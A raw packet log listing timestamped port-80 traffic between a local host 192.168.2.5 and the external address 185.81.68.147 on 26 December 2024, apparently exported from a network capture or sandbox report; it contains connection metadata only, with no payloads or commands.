Dec 26, 2024 12:05:14.575066090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.575148106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.575192928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.576123953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.576200008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.576253891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.577158928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.577204943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.577317953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.577363014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.578183889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.578246117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.578269005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.578299046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.579188108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.579233885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.579260111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.579308987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.580224037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.580277920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.580322027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.580388069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.581228018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.581279993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.581310034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.581383944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.582283020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.582396030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.582442045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.583293915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.583344936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.583425045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.583468914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.584328890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.584367990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.584399939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.584450006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.585361004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.585421085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.585536003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.585622072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.586360931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.586427927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.586462975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.586502075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.587389946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.587445021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.587507010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.587621927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.588407040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.588460922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.588543892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.588584900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.589513063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.589564085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.589566946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.589615107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.590496063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.590544939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.590574026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.590655088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.592046022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.592163086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.592206001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.593053102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.593101025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.593137026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.593179941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.593945980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.593977928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.594032049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.594655037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.594700098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.594727993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.594765902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.595590115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.595648050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.595680952 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.595730066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.596892118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.596945047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.597085953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.597340107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.597790003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.597832918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.597903967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.598157883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.598742008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.598807096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.598855972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.599745035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.599792957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.599817991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.599875927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.600754976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.600830078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.600915909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.600961924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.601721048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.601773977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.601775885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.601814985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.602907896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.602960110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.602965117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.603064060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.603820086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.603872061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.603919983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.603964090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.604835987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.604851007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.604880095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.604923010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.605875015 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.605930090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.605959892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.606012106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.606962919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.607007027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.607036114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.607079983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.607974052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.608001947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.608031034 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.608047962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.609100103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.609147072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.609149933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.609186888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.609957933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.610070944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.610127926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.610968113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.611013889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.611073971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.611133099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.612341881 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.612387896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.612405062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.612517118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.613269091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.613315105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.613331079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.613380909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.614084005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.614137888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.614305019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.614547968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.615145922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.615262032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.615293980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.615326881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.616105080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.616148949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.616198063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.616256952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.617204905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.617340088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.617391109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.618201971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.618263006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.618283033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.618297100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.619168043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.619206905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.619271040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.619406939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.620249033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.620291948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.620311975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.620353937 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.621205091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.621257067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.621296883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.621342897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.622193098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.622240067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.779151917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.779190063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.779280901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.779661894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.779809952 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.779865980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.780586004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.780636072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.780730963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.780778885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.781646013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.781696081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.781761885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.781809092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.782602072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.782653093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.782675028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.782692909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.783574104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.783701897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.783750057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.784614086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.784656048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.784723043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.784766912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.785638094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.785689116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.785763025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.785801888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.786642075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.786691904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.786777973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.786837101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.787709951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.787733078 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.787760019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.787789106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.788753033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.788800001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.788853884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.788897991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.789716005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.789767027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.789830923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.789875984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.790776968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.790826082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.790859938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.790904999 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.791902065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.791948080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.791989088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.792036057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.792804003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.792850971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.792928934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.792973995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.793844938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.793888092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.793947935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.793993950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.794867039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.794919968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.794934034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.794979095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.795942068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.795990944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.796055079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.796106100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.797076941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.797125101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.797194958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.797240973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.798114061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.798136950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.798160076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.798178911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.799063921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.799113989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.799182892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.799252033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.799998999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.800048113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.800101042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.800151110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.801055908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.801098108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.801105022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.801131010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.802038908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.802086115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.802182913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.802227020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.803076982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.803144932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.803179026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.803225994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.804061890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.804109097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.804120064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.804164886 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.805108070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.805135965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.805157900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.805169106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.806180954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.806227922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.806252956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.806288958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.807199001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.807246923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.807343960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.807391882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.808207035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.808255911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.808295012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.808336020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.809238911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.809292078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.809377909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.809432030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.810209036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.810256958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.810295105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.810333967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.811640024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.811687946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.811706066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.811748981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.812258959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.812308073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.812338114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.812381029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.813282967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.813334942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.813385010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.813436031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.814322948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.814367056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.814368010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.814414978 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.815381050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.815429926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.815553904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.815599918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.816411972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.816457033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.816550016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.816596031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.817404985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.817455053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.817519903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.817565918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.818428993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.818481922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.818581104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.818624973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.819459915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.819500923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.819581032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.819626093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.820456028 CET	80	49708	185.81.68.147	192.168.2.5
